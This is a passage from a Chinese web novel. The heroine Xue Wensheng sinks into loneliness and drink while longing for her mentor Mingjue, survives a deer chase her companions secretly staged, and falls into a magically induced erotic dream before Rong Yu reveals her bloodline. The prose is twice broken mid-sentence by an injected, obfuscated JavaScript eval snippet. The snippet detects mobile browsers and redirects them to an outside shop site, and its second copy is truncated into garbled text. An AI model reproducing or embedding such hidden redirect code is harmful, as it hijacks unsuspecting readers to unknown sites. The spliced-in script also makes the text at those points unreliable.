这水中倒影的万家灯火,没有一盏是为她而亮。 这满河随波逐流的祈愿,没有一盏能载动她的心事。 热闹是他们的,美景是眼前的,可她,依旧是那个孤独,无处依归的雪闻笙。 她端起了手边的酒杯,如今她已经习惯了这种能带来短暂麻痹的液体,仰头饮尽。酒液甘醇,带着花果的香气,滑入喉中,却化不开那从心底深处泛起的冰冷寂寞。 “我们明天做什么?”雪闻笙随口问道。 “哦,稍等,容我查阅一下。”洛逍连忙从袖子里拿出那个小本本,边翻找边偷偷琢磨,去哪才能让她欢喜些呢,翻了几页,他停下,喜滋滋的推荐道:“前几日听其他游客说,灵山古寺祈福的签文特别灵验,咱们明天去那儿玩。” 洛逍合上小本本收好,转身一望,发现雪闻笙已经趴着睡着了。 他便从船舱里取出斗篷,轻轻盖在她肩头。 翌日一大早,他们三个跟着游客一起去了灵山上香火鼎盛的一座古寺。 寺内古木参天,钟声悠远,香客如织,虔诚的祷告声与梵唱呢喃交织,有一种庄严肃穆的氛围。洛逍拉着她非要凑热闹去求一次签。雪闻笙看着那些跪在佛前的男男女女,他们来这里或求姻缘、或问前程、或祈平安,似乎都将命运寄托于那虚无的神佛,脸上带着各种希冀与惶恐。 她站在大殿门口排队,忽然觉得有些可笑,她自己不也像一只无头苍蝇,一头扎进这熙熙攘攘的凡尘,在寻找某种缥缈的寄托吗? 轮到她了,她没跪,就那么站着摇动了几下签筒,一支竹签随机落下。她弯腰捡起来,看也没看,就走过去递给了旁边的解签僧。 老僧接过竹签,捋着花白的胡须,仔细看着签文,随后又抬眸深深看了她一眼,念道:“瑶台仙葩堕尘寰,心似浮云无定端。莫道眼前风波恶,云开月明自见天。” 洛逍听的一头雾水,雪闻笙心中微动,瑶台仙葩?是指明决那样的人吗?而她,是那堕入尘寰,心无定所的浮云?云开见月明?她的月明,又在何方? 她不知道,望着老僧,期待他给自己继续解惑。 哪知,那解签的老僧把手一摊,他也不知道。 “罢了。”于是她付了香油钱,默默转身离开。 洛逍追上来问她签文何解,雪闻笙只是摇头,说:“不过是一些虚言而已,听完就忘了。” 寺院的宁静与超脱,没有让她得到平静,还起了反效果,加重了她内心的纷乱和......俗念。她所求的,从来不是什么虚无的禅意或着来世的福报,她想要的,自始至终,都只是那一轮遥不可及清冷的“月亮”。 回去以后,白天她依旧跟着他们一起笑,一起闹。 他们三个在最大的酒楼品尝招牌珍馐,食物精致得无可挑剔,她却常常吃着吃着,就想起尘寂山那些清淡熟悉的粥菜,想起对面那个沉默用餐的身影。 他们在热闹的瓦舍看最新的杂剧,戏台上才子佳人,悲欢离合,引得满堂喝彩,她却会在某个瞬间出神,想起书房里,那个低沉平稳为她讲解经义的声音。 慢慢的,雪闻笙不怎么爱出门了。 她一连几天没动静,荣御若有所思,朝洛逍使了个眼色,洛逍立刻会意。 “今天天气真好,”荣御走到窗前,故作轻松地说,“镇上有一些年轻人组织去北坡围猎,咱们也一起去散散心吧?” 屋里的雪闻笙从沉思中抬起头,走到窗边打开窗户,眼底有些疲惫。她刚要摇头,洛逍已经笑着接话:“去吧去吧,整日闷着不好。北坡那片林子你还没去过呢,有几条溪流特别清澈,沿途还能采到甜莓。” 这时隔壁客房的大门“吱呀”一声打开了,从房里走出来两个年轻人,一听就知道他们在说什么,也在窗外笑着附和道:“我们是专职猎手,参加好几年了,那场面热闹极了,乐子特别多。一起去呗!我们还准备了新鲜的果露和糕点呢!” 洛逍和荣御都满怀期待地望着她,她看了看旁边两个热情的笑脸,陌生但真诚友善,雪闻笙终究不忍拒绝,轻轻点了点头:“嗯。” 来到北坡,雪闻笙才知道,这里的山林植被竟然长的那么茂密。古木参天,树冠几乎遮蔽了大半个天空,只在缝隙间漏下缕缕金色阳光。厚厚的苔藓像绒毯般铺满地面,踩上去柔软无声。这里的空气中混合着泥土、腐叶和某种不知名野花的清冽气息。 “小心这里的树根,”荣御走在雪闻笙身侧,细心地提醒,“有些盘结在地面,容易被绊倒。” 洛逍走在稍前的位置,看似随意,其实一直都警惕地观察着四周。他朝荣御微微颔首——一切都按计划准备就绪。 “听人说这片林子里有银斑鹿,”一个叫牧尘的年轻猎手兴奋地说,“它们的鹿角在月光下会泛着银色光泽,特别漂亮。” “不止呢,”荣御接话,声音略微提高,确保雪闻笙能听清,“有时还能遇到花翎山鸡,尾羽展开时像彩虹一样......” 他话音未落,左侧灌木丛忽然传来一阵窸窣声。 所有人都警觉地停下脚步。雪闻笙把心提了上去,手下意识地抓紧了随身携带的短刃——那是临行前荣御塞给她的,说是“以防万一”。 “也可能是野兔哦。”洛逍冲她一笑。 雪闻笙看了他一眼,心稍微放下了一点点。 不过洛逍嘴上说的一派平静,眼神却与荣御迅速交流了一瞬。 就在他们准备继续往前走的时候,一声尖锐的鹿鸣突然划破林间的宁静! “哗啦——!” 灌木丛被什么东西猛地撞开了,一只体型健硕、毛色深棕的公鹿冲了出来!它的眼睛圆睁,鼻孔张大喷着白气,显然受了极大的惊吓。要人命的是,这头鹿不知道为什么,径直朝着雪闻笙所在的方向冲了过来! “小心!”荣御大喊一声示警,却“恰好”被一旁的树根绊了一下,动作慢了半拍。 这边的洛逍作势也要冲过来,却被那几名“恰好”站在他前面的年轻猎人挡住了路线,他过不去。当然——这一切都是精心设计好的站位。 这下子,雪闻笙算是彻底孤立无援了,她心脏在那一瞬间几乎停止了跳动。她离得最近,能清楚看到鹿角上分岔的尖锐末端,极具攻击力,能看到它蹄下飞溅的泥土和碎叶,那股野性而腥臊的气息扑面而来,危险一触即发! 此刻她谁也不指望,转身就跑。 “闻笙,往右!快往右跑!”洛逍在她身后大喊,声音里满是“焦急”。 雪闻笙根本来不及分辨方向,只能凭着求生的本能,朝洛逍指示的方向一路狂奔。空气像刀子一样割进她的肺里,脚下的苔藓滑溜极了,湿冷厚重,像覆盖着一层暗绿的冰釉,她踉踉跄跄,好几次脚下一软,整个世界的景象都在眼前倾斜,旋转,又被她用手猛地撑地,强行拉回。 前方茂密的灌丛挤压着她的去路。 “啪啪啪”侧边,无数带着韧刺的枝条,在她疾冲的时候狠狠抽打过来!她毫无防备,第一下击中脸颊时,是尖锐的刺痛,随即蔓延开一片滚烫的麻。紧接着,手臂、肩膀、腰侧......无处不在的击打,像无数根烧红的鞭子,在她皮肤上肆意烙下火辣辣的印记。碎叶和木刺粘在汗湿的皮肤上,混合着细微的血珠。 可她不能停下来,只能继续向前。就在这密集,几乎令人窒息的痛楚中,一种怪异感觉从意识的缝隙里钻了出来 。起初是纯粹的痛,但很快,这尖锐带有节奏的抽打,竟将一种濒临麻木的感官重新激活了。每一次“啪”的脆响,都像一记强有力的心跳,将她心里的恐惧都抽散了。 疼痛不再是单纯的折磨,成了一种炽烈,活着的证明。它在嘶喊:你还在这里,你还在奔跑,你没有被身后那沉重的蹄音吞没! 悖谬感和生理性的快感,随着疼痛的脉搏涌起——这当然不是愉悦的享受,是在绝境中身体在外部刺激下,最原始,最野蛮的回应,是肾上腺素狂飙之下,将所有感觉,包括痛觉,都点燃成了生命燃料的疯狂。 她全然不顾的跑,耳畔是自己的心跳声,喘息声,混乱的脚步声。她不敢回头,仿佛下一秒,公鹿的鼻息就会喷上她的后颈。 “闻笙,坚持住!前面不远处有片空地!”荣御的声音从另一个方向传来。 雪闻笙咬紧牙关,拼尽最后力气冲出一片密林。眼前豁然开朗——果然是一小片林间空地,阳光毫无遮挡地倾泻而下。 也正是在这时,她脚下一滑! “啊!” 她整个人向前扑倒,在泥地上翻滚了两圈。回头的瞬间,那只公鹿已经冲入空地,低着头,“呼哧呼哧”喘着粗气,硕大坚硬的鹿角正正对着她! 她眼神一闪,拿出短刀,只要这只公鹿敢伤害她,她绝对不放过它!她刚要主动出击,一道身影从侧面猛扑过来! “嗖!”一支钝头箭精准地射在公鹿前蹄前的空地上,虽然没有造成实质性的伤害,但是巨大的声响和震动让受惊的鹿猛地转向,朝着另一个方向逃窜去了。 洛逍已经扑到了雪闻笙身前,用身体牢牢地护住了她。荣御和另外几个猎人也从不同方向冲进空地,形成了一道防护保护着她。 这一切发生得太快了,鹿突然出现又突然逃离,不过才短短几十个呼吸的时间。 雪闻笙瘫坐在地上,浑身颤抖,汗水浸湿了额发,顺着脸颊滑落。她的手上、衣服上沾满了泥土和草屑,膝盖处传来火辣辣的刺痛——大概很多地方都擦伤了。 荣御和洛逍拿来药水和纱布给她,却被她拒绝了。俩人面面向觎,不解的望着雪闻笙,她怎么了...... 下一刻,雪闻笙笑了起来。 “哈哈哈哈哈哈......”起初只是几声压抑的,断断续的轻笑,随后变成了放声大笑。她笑得前仰后合,笑得眼泪都流了出来,混合着汗水,滴落在泥土里。 “哈哈哈......我,我居然......可以跑得那么快......哈哈哈哈......”她低着头喘气,语无伦次。 荣御松了一口气,蹲下身仔细检查她的伤势:“还好都只是擦伤。吓坏了吧?” 洛逍递过来一个水囊,脸上带着歉意:“对不住,我们也没想到会突然冲出一只受惊的鹿。通常这个季节它们不会这么暴躁的。” 其他几个年轻人也围拢过来,七嘴八舌道:“小姑娘,人不可貌相啊,你可真厉害!” “刚才太险了,多亏荣御小兄弟箭法准呐。” “先擦点药水吧,回去得用清泉水再洗洗伤口,小心感染。” 雪闻笙接过水囊,灌了几大口,清凉的液体让她逐渐平静下来。她看着周围这些关切的脸,心中涌起一股暖意。他们虽然是刚刚认识的陌生人,但真的在乎她的安危。 “谢谢你们。”她真诚地说,笑容仍然挂在脸上,那是劫后余生释放的笑。 荣御和洛逍交换了一个眼神——计划成功了。他们看到了雪闻笙久违的,畅快的大笑,看到了她这几天一直紧绷的情绪在急速逃亡奔跑中得到了释放。 笑声渐歇,雪闻笙抹去眼角的泪——不知道是笑出来的,还是别的什么。她撑着地面站起身,拍拍身上的尘土,对众人露出一个灿烂的笑容,简直无可挑剔。 “我没事了。咱们继续吧?不是说还要采甜莓吗?在哪啊,我怎么一个都没有看见。” 阳光洒在她脸上,那笑容明媚得几乎刺眼。只有她自己知道,心底某处,有什么东西在笑声中沉入了冰冷的黑暗里。 洛逍看着她,隐隐觉得有什么不对,却又说不出来。最终他只是点头:“好啊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892655|192244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我看见了,前面不远处就有甜莓丛。不过这次,我们一定好好保护你。” “嗯。”雪闻笙笑着应道,主动跟上了队伍。 林间的风轻轻吹过,带走了笑声,也带走了某些无人察觉的东西。只有那只受惊的鹿,早已消失在密林深处,仿佛从未出现过。 可能洛逍尝到了这种刺激感官得到快乐的甜头了,带着她天天找“麻烦”,找“刺激”。 日子一天天过去,她连感官都逐渐麻木了,觉得见识得越多,体验得越深,她心里就越清醒——这世间万物,千般风景,万种风情,什么也比不上明决。 就像那天她“遇险”,被公鹿追赶后的放声大笑,没有人知道,在雪闻笙的笑声中,在她这被众人关怀的温暖中,她心底最深处,一个冰冷的声音悄然浮现,清晰而残忍:这些惊险刺激,这些劫后余生的狂喜,这些被人保护的感觉......都比不上明决一个平静的眼神带给她的安全感。 明决的眼神里不会有惊慌,不会有焦急,只有一种深潭一样,绝对的稳定。仿佛在他身边,世间一切风雨都会自动平息。那是一种无需言语,无需行动,仅仅存在就能给予的强大安全感。 在明决身边,哪怕是枯燥的研磨草药,也因为能感受到他偶尔投来的指导性的目光,变得有意义。哪怕是静默无言的午后,只听着他翻动书页的沙沙声,看着阳光在他素白衣袍上移动的光斑,她内心便是充盈的,安宁的。哪怕他只是在她递上茶水时,淡淡地说一句“放下吧”,他的任何回应,都能让她窃喜许久。 那种快乐,是发自内心的,是沉静的,是不需要任何外在刺激的满足。 而现在,这种感觉,她再也得不到了。 她知道,任何快乐她都触手可及——美食、美景、新奇刺激的事物、甚至两个优秀男性毫不掩饰的关怀与陪伴。自己还有什么不知足呢? 但她焦躁,烦闷,像有一把火在心底烧,情绪不稳,开始对新鲜事物无动于衷,有时会因为一点小事就对洛逍大发脾气,然后生闷气,把自己锁在房里长时间地沉默发呆,看着某个方向出神。 有一天晚上,她难得有兴致出门,在逛一条繁华的夜市时,她看到一个卖玉器的小摊上,琳琅满目,唯独有一枚质地普通的白玉簪吸引了她,簪子样式很简单,不知怎的,竟有几分像明决束发用的那根。 她鬼使神差地拿起来,看了许久许久。 “姑娘好眼光,这簪子素雅,配您正合适!”小贩热情地推销。 “好,老板,我们买了。”洛逍见状,立刻就要掏钱买下。 “不要!”雪闻笙却像被烫到一般,如梦清醒,猛地将簪子扔回摊子,声音尖锐,引来周围人诧异的目光。 她脸色苍白,胸口剧烈起伏。她配不上这样的素雅,她如今满身尘埃,心里装着不该有的妄念,怎么配得上与他相似的东西? 荣御站在一旁,深紫色的眼眸将她所有的失态尽收眼底,他唇角那抹惯有的邪气笑容淡了些,变得深沉起来。 到了夜里,她越发依赖酒精。只有喝醉了,那些思念和尖锐的痛苦才会变得模糊,她才能昏昏沉沉地睡去,不必面对醒来后更加巨大的失落。 她没有安全感,她从来没有像现在这样缺乏安全感。 以前在明决的身边,哪怕被禁闭在石室,她内心深处也知道,那座山在那里,那个人在那里,有一种无形稳定的秩序。 而现在,天地之大,她觉得自己像一片飘萍,无所依凭。洛逍虽好,但是他的痴迷炽热浮于表面,荣御虽好,但他的神秘莫测更让她心生警惕。她的感情得不到那个唯一渴望的对象给予的回应,她就如同无根之木,无源之水,日渐枯萎,死又死不掉,还在绝望中疯狂地滋生出更多的渴望与......戾气。 又一个夜晚,镇上的长街被无数灯笼与摊火照得亮如白昼。糖画摊子飘着焦香,卖艺人的吆喝与孩童的嬉笑混成一片喧嚣的浪潮。雪闻笙就站在这浪潮最中心的十字路口,人群摩肩接踵地从她身边流过,欢笑声,讨价还价声,碗碟碰撞声织成一张巨大而滚烫的网。 她浑身冰冷。 那热闹是他们的,穿透不了她周身一寸的空气,她像一个透明的幽灵,看着一切声色流淌而过,不留痕迹。 忽然,一阵飘渺,熟悉的弦音,穿过层层声浪,钻进她耳中。是“倦安岭”那个夜市老伯弹琵琶的调子吗?她恍惚侧耳,却又听不真切。那苍凉的,带着沙砾感的旋律,此刻不再需要解读,直接化成了她心底最真实的呜咽。 初闻不识曲中意,再听已是曲中人。 这里哪里有什么老伯在弹琵琶? 她闭上眼,耳畔分明是尘寂山清越的晨鸟啼鸣,是穿过幽谷时,风拂过万顷竹海的簌簌涛声。鼻尖萦绕的也不是街上油腻的香气,而是药圃里经年不散的,清苦微甘的草木气息,是雨后泥土苏醒的芬芳,是明决晾晒药材时,阳光烘出的干净味道。还有后山那一大片老杏林,春日里和煦的暖香......原来,尘寂山的一切,早就已经悄无声息地沁入骨血,成了她辨识“自我”的印记。 初下山时,她以为得到了所谓的“自由”,她振翅欲飞,以为逃离了那座山,便拥抱了整个世界。可如今,历经了几场虚妄繁华,看过了几盏转眼即灭的灯火,她的心并没有寻得归宿,比在尘寂山禁闭的石室里,更加空空荡荡,无所依凭。 山中的岁月固然是清寂的,但四时有序,草木有心,连孤独都是有边界,可承受的。而这人海中的孤独,是无边无际的荒漠,每一次呼吸都吸进满腔陌生的尘埃。 这所有迷茫的尽头,都指向一个清晰得让她心口发疼的身影,明决。 思念像藤蔓,在血脉里疯长,缠绕得她几乎窒息。她怨他永远如深潭般的沉默,怨他恪守分寸的守护,怨他那双仿佛看透一切却从不流露情绪的眼睛。可她又无可救药地贪恋他偶然泄露的一丝温度,贪恋他如山岳般存在的身姿,他是比尘寂山更让她想逃离,却又比世间任何一处都更像“归处”的矛盾所在。她思念他,这份思念里掺杂着不甘,委屈,渴望与绝望,浓烈到让她自己都害怕。 一滴滚烫的泪终于滑过冰凉的脸颊,瞬间没入衣领,消失无踪。周围的喧嚣猛地灌回耳中,敲锣打鼓,沸反盈天。她仍站在光海人潮的中央,一动不动。 她这才明白,原来孤独感并不是空旷的寂静,而是眼前这密不透风的繁华里,唯独自己被剔了出去,最深的寂寞,不是身处荒原,而是站在汹涌的人间,心里却大雪封山,回响着只属于自己的,永无止境的空谷足音。 明决,明决,明决...... 23. 第 23 章 客栈的房间里,烛火摇曳,将雪闻笙他们三人的影子投在墙壁上,拉得忽长忽短。桌上杯盘狼藉,空气中弥漫着酒液的醇香。 洛逍已经醉倒了,伏在桌上,嘴里还不停地念叨着“闻笙......来,开心......”,声量渐渐小了,不一会儿便发出轻微的鼾声。这些日子他满腔热情只想博佳人一笑,可惜心思单纯,从来没有真正触碰到雪闻笙的心。 荣御靠在椅背上,手中把玩着空了的酒杯,周身散发着沉郁的冷冽气息。他深紫色的桃花眼,在跳动的烛光下,像两簇火焰,锁在对面雪闻笙的身上。 雪闻笙已经半醉了,双颊酡红,眼波流转间带着平日里绝不会有的神情,有种水光潋滟的媚意。她看着窗外沉沉的夜色,手指无意识地抠着桌沿,含糊不明的在上面抓刻着某个人的名字。 “对你来说,还远远不够,对吗?”荣御忽然开口,声音低沉,带着蛊惑人心的磁性。“那些热闹,那些酒,那些追逐来的快乐......” 雪闻笙抬眼,迷蒙的看向他,嘴角扯出一个比哭还难看的笑:“快乐?呵呵,这世上,还有什么能让我真正快乐?”酒精让她失去了往日的警惕,暂时褪去了伪装。 荣御勾起一抹邪气的笑,看穿了她佯装出来的坚强,“你心里真正想要的快乐,从来没有得到过,甚至不敢去想,对吗?” 他话里藏针,刺破了雪闻笙努力维持的平静,她攥紧了手指,指甲几乎要嵌进掌心,她说不出话去否认,荣御说的是事实。 “求而不得,最是磨人。何必如此辛苦地压抑?既然想要,就去拿。既然渴望,就去得到。”荣御倾身向前,低语道。“抛开所有顾虑,忘记所有身份,直面你内心最真实的渴望,才能得到真正的快乐。” “想不想真正地放纵一次?我可以帮你。” 他抬起右手,指尖萦绕起一缕淡淡的红色雾气,瞧着颇让人心神恍惚。 雪闻笙怔怔地看着那缕红雾,心底有一个声音在疯狂地警告她危险,可另一个被酒精和长期压抑折磨得近乎崩溃的声音,却在声嘶力竭地呐喊,她想要!她太想要了!哪怕只是幻影,哪怕只是瞬间! 短暂的快乐也是快乐,虚假的快乐也是快乐。 她没有躲闪,闭上了眼睛。 她默许了。 荣御没有犹豫,指尖那缕红雾立刻像拥有生命一般,悄无声息地钻入了雪闻笙的眉心。 然后周遭的一切像水纹一样荡漾,模糊。洛逍的鼾声,荣御的身影渐渐淡去,摇曳的烛火,冰冷的桌椅......全都消失了。 她仿佛踏入了一片虚无,又仿佛瞬间被温暖的光明所包裹。 当雪闻笙睁开眼睛,再次“清醒”过来的时候,发现自己身处一个熟悉又陌生的地方。 眼前的场景,像极了尘寂山的竹楼,她走过去,还看见了那片沐浴在柔和月色下的露台。夜风带着山间特有的清冽与花草的微香,轻轻拂过,月光如水银泻地,将一切都镀上了一层朦胧的光辉。 而她朝思暮想的那个人,就站在露台的边缘,背对着她,望着远处的云海山峦。那人依旧是一身素白无暇的道袍,宽大的袖摆和衣袂在夜风中微微拂动,墨发用一根简单的玉簪束着,身姿挺拔如松,遗世而独立,仿佛随时会羽化登仙。 是明决。 雪闻笙的心脏,在看到他背影的瞬间疯狂地跳动起来。思念、爱恋、委屈、渴望......所有的情感瞬间决堤将她淹没。 “明决......”她听到自己呼唤他的声音,有些嘶哑,颤抖。 那人感应到了她的呼唤,缓缓转过身来。 月光清晰地照亮了他的脸,依旧是那张清俊绝伦,棱角分明的面容,眉宇间是他惯常的疏离与淡漠,眼眸深邃,平静无波地看向她。 没有质问,没有惊讶,仿佛她出现在这里跟他见面,是再自然不过的事情。 这份平静,给了雪闻笙一种莫大的勇气。 他们置身在梦里,不是吗?梦里,是她的主场,她可以无所顾忌。 她一步步走向他,带着义无反顾的决绝,直到离他只有一步之遥,能清晰闻到他身上熟悉的冷冽气息。 “明决......”她又唤了一声,满是浓到化不开的思念,“我好想你......我真的好想你......” 她终于说出口了,再也抑制不住情感的泛滥,伸出双臂,像一只终于找到归巢的雏鸟,跟跄着扑了过去,投入那个她朝思暮想的怀抱中! 隔着那层质地柔软的素白衣料,她感受着他胸膛传来的沉稳心跳,也感受到了他身体瞬间的僵硬。这触感太真实了,她险些泪如雨下。 “我知道的......我不该......我知道我配不上你......我知道这一切都是痴心妄想......”她把脸深深埋在他的胸前,贪婪地呼吸着属于他的气息,语无伦次地倾诉着,“可是你为什么不要我?为什么对我那么冷酷?我错了,我知道我错了,我不该顶撞你,不该有那些妄念......可是......可是我控制不住我自己......我的心好痛......看不到你,我就像要死掉了一样......” 她一股脑的将所有不敢在现实中说出口的痴恋与怨怼,尽数倾泻而出。“我喜欢你......我喜欢你啊,明决!从很久很久以前就喜欢上你了!不是年幼无知,是一个女人,对一个男人的爱!你知不知道?你知不知道我有多痛苦?” 梦中的明决,没有说话。 他只是静静地被她抱着,静静地看着她,静静地听她泣血的倾诉,眼神包容又温和。 很久很久,他都没有动,久到雪闻笙以为他不会有任何反应了。然后,他抬起手,用指腹轻柔地拭去她脸颊上的发丝。她的指尖微凉,触碰却像带着电流,让雪闻笙全身酥麻一片。 这一个简单的动作,成了压垮骆驼的最后一根稻草。 雪闻笙彻底迷失了自我,所有的礼教、矜持、恐惧,在这一刻土崩瓦解。一种从来没有过的大胆冲动驱使着她,雪闻笙猛地踮起脚尖,闭上眼,颤抖着,将自己咸涩微微湿润的唇瓣,印上了他总是紧抿着的淡色的唇。 轰!像千朵万朵烟花在脑海中炸开,她脑中一片空白,只有他唇瓣柔软微凉的触感,属于他的气息在她的鼻尖骤然变得浓郁。 她毫无章法,生涩地亲吻着他,或者说,那根本不能算是一个亲吻,她像一只寻求温暖,寻求安慰的小兽,用尽了全身的力气去贴近这轮她渴望了太久的月亮。 她胆战心惊,但是没有预想中的被猛然推开,也没有斥责。 明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她在他耳边呢喃着破碎的爱语,诉说着分离后的痛苦与思念,大胆地探索着这具她仰望了太久的身躯,放浪地迎合......衣衫不知何时松散开来,露出她莹润的肩头和精致的锁骨。她的吻从他的唇衅,缓缓下移掠过下颌,落在颈侧,吮吸着他细腻的肌肤上,在上面留下一小片一小片灼热的印记...... 曾经清修的露台成了与世隔绝的方外之境,月光是唯一的见证。空气中弥漫着一种暧昧的气息,明决的冷冽混合着她身上越来越浓郁的,属于异族的甜靡幽香,彼此纠缠,难舍难分。 以前她像一只花骨朵,现在,她感觉自己像一朵终于绽放的花,在月华与心爱之人的气息滋养下,舒展着每一片花瓣,释放着所有的热情与生命力。 "明决......"她呢喃着他的名字,声音娇软缅绵。梦里的明决依旧沉默,用行动顺应着她所有的渴望。他的手掌带着薄茧,抚过她玲珑的曲线,所到之处,点燃一簇簇火焰...... 等月色西沉,雪闻笙蜷缩在明决的怀中,枕着他的手臂,跟他一起分享彼此身体的温热,她心中是从未有过的安宁与圆满。 她沉溺在这镜花水月般的美好里,快乐极了,不愿醒来。 哪怕明知是幻,是毒,她也甘之如饸。如果可以,她希望这个梦,永远不要结束。 梦境之外,客栈房间内,烛火已经燃尽,最后一点火光挣扎着跳动了一下,归于沉寂,房间陷入一片黑暗。 荣御的眼眸,在黑暗中依旧幽冷。他看着对面陷入沉睡的雪闻笙,脸上一片潮红,带着满足。 他唇角那一抹邪气的笑容,缓缓加深了。 24. 第 24 章 在游玩归来的某一夜,雪闻笙又醉了。 洛逍将她送回客栈房间,她倒在床上,意识昏沉,却没有立刻睡去。窗外的喧嚣慢慢沉寂下去,月光透过木窗无声地流淌进来,像一层冰冷的纱,覆在她滚烫的皮肤上。 酒精带来的麻痹渐渐消退,真实的感觉慢慢显露,她蜷缩着,将脸埋进柔软的枕头,试图寻找一丝慰藉,闻到的全是属于客栈的熏香气味,陌生又无趣。 明决......这个名字,在她脑海中反复盘旋,带着尖锐的痛感。 泪水无声地滑落,浸湿了枕畔。她觉得自己像个迷路的孩子,在繁华的歧路上越走越远,把唯一能让她安心的地方弄丢了。 哭着哭着就累了,在极度的悲伤中,她沉沉睡去了。 那天晚上她又做了一个梦,那是一个与以往血腥暴戾,充满厮杀的梦境都截然不同的梦。 没有刀光剑影,没有凄厉惨叫,只有一片宁静祥和,是那个笼罩在柔和光晕中的尘寂山。庭院里,明决坐在他常坐的那张石桌旁,没有看书,也没有侍弄花草,他平和地望向她,她就坐在他对面,手里捧着一杯氤氲的清茶,是他他刚刚沏好的。 他们彼此间没有言语,没有动作。 只是那样静静地坐着,他看着她,她看着他。 阳光暖融融地照在身上,微风拂过,带来药圃里花草的清香。 那是一种深达灵魂的安宁与满足感,像温润的泉水流淌过她干涸的心田,将她所有的焦躁,痛苦都一一抚平。那是一种纯粹不掺杂任何欲望与刺激的快乐,是灵魂找到了归处的极致喜悦。 她在睡梦中,露出了一个恬静,幸福的微笑。 可惜,梦再美也会醒。 她是被吵醒的,窗外逐渐有了人声,天光已经大亮了。 她睡意惺忪睁开眼睛,梦中的幸福感还残留在感官里,眼前的现实是那么冰冷,那么空虚,巨大的落差将她狠狠摔回地面。 她猛地从床上坐起来,心脏狂跳,有了豁然开朗的顿悟! 她错了!大错特错! 她一直盲目在向外寻求快乐,寻求刺激,试图用喧嚣和浮华来填补内心的空洞。可直到此刻,在梦境的映照下,她才后知后觉——真正的快乐,从来不在远方,不在那些转瞬即逝的声色犬马之中。 在明决身边,哪怕只是那样静默无言地相对,她的心也是满的,是安宁的,才是真正活着的! 什么狗屁自由,什么古怪新奇,什么人间至乐,与明决身边的那份沉静,让她灵魂得以栖息的归属感相比,全都显得如此不值一提! 她只想要明决! 她只想回到他身边!立刻!马上! 再也没有一点犹豫,她掀开被子,赤着脚就跳下了床,开始手忙脚乱地收拾自己的行李。 “我要回去。”她喃喃自语,语气坚定,“回尘寂山,回明决身边,我再也不要浪费时间了。”她甚至没有去想回去后该如何面对明决,没有去想他是否会原谅她的不告而别,如今再狼狈的归来。 她胡乱将最后一件衣物塞进行囊,打包好一切冲出了房门,刚走到拐角处,一道声音响起:“呦,一大早就这么急匆匆的收拾东西。呵呵,现在回去,恐怕还不是时候。” 雪闻笙猛地顿住脚步,抬头望去。只见荣御出现在她身后,依旧是一身玄衣,双手环抱,那双深紫色的桃花眼正似笑非笑地看着她,仿佛早就已经看穿了她所有的心理活动。 “让开!”雪闻笙此刻归心似箭,语气急躁,态度强硬,“我就是要回尘寂山!聪明的就别挡我路!” 荣御却纹丝不动,微微挑眉:“回去?回到那个把你关起来‘思过’的人身边?回到那个连你真正想要什么都不知道的人身边?哦,不对,准确来说,是你自己不知道自己想要什么。” 他的话刚好全部戳中了雪闻笙的心事,她脸色一白,怒道:“你闭嘴,我的事不用你管!你凭什么拦我?” “凭什么?”荣御轻笑了一声,笃定道,“就凭......我们是同类。” 同类? 这话一出口,雪闻笙冷静了下来,她终于第一次,真正地,正视起眼前这个神秘莫测的少年。 “你......你到底是谁?”她盯着他问。 事实上,这个问题她早在第一见面的时候就问过了,但那个时候她直觉他没有恶意,又急着逃亡,所以没有细究他的来历,如今看来,他在山下的出现,处处透着诡异。 荣御终于收敛了唇角的戏谑,正色起来,没说话。他深紫色的眼眸仿佛带着魔力,直视着雪闻笙的眼睛。 雪闻笙的身体立刻像被什么东西击中了,全身血脉呼啸沸腾起来,她在对面的荣御身上清晰的感受到了熟悉的气息。她不由睁大了眼睛:“你......” “是的。”荣御坦诚道:“我名荣御。如你所感,我们身体里流淌着相同的血脉。你是吾族等待了百年的‘玄女’,身负唤醒法器并引领我族重现世间的重任。而我,是守护你的‘影卫’。” 玄女?影卫?家族重任? 这一连串陌生的词汇,到底是什么意思?她睁大眼睛看着荣御,下意识地后退了一步,摇头道:“不......不可能!你在胡说八道!我只是......我只是一个普通的......” “普通的什么?”荣御打断她,一步步逼近,眼睛牢牢盯着她,“你想说自己只是一个普通的少女,呵呵,好好想想吧,哪个普通少女会做那些充满杀戮与力量的梦?会无师自通地运用血脉之力?会对那座清冷的山,那个清修的人,产生如此强烈到不顾一切的执念?” 他说的每句话,都是雪闻笙心中最隐秘,最不愿面对的事实。 看着她震惊的样子,荣御不想逼的太紧,于是语气缓和了些,带着引导般的诱惑,劝慰道:“我知道你一时难以接受。我们玩了那么多日子也该玩够了,但有些事,逃避永远也无法解决。你既然已经走到了这里,何不先去见见‘他们’?我是说,见见你真正的族人们,看看你本该归属的地方。或许,看过之后,你才能真正明白自己是谁,从哪里来,到底该往何处去。” 雪闻笙怀里的包裹变得千斤重,方才还清晰无比的回山之路,此刻被荣御寥寥数语击得粉碎。她僵立在走廊,耳边嗡嗡作响。 她不知道自己是如何挪回房间的。门在身后轻轻合拢,将外界一切声响隔绝,也仿佛将她与过去所认知的那个“自己”隔绝开来。她机械地走到桌边坐下,试图将混乱的思绪一根一根捋直。 荣御的话......并非全无道理。那些被她刻意忽略,或被尘寂山清修生活所掩盖的细微异样,此刻争先恐后地浮上心头。 其实她不止一次在深夜,望着窗外的月亮,觉得自己可能遗忘了某种与生俱来的歌谣,她对山林草木有种超乎寻常的亲近,能分辨最细微的香气变化,有时甚至觉得能听懂风掠过不同叶片的低语。 以前她只知道自己是明决在尘寂山茫茫大雪中捡回的无名孤女,她的身世,简单,苍凉,像一幅留白太多的水墨画。“无名孤女”——这四个字定义了她的来处,也框定了她的世界。 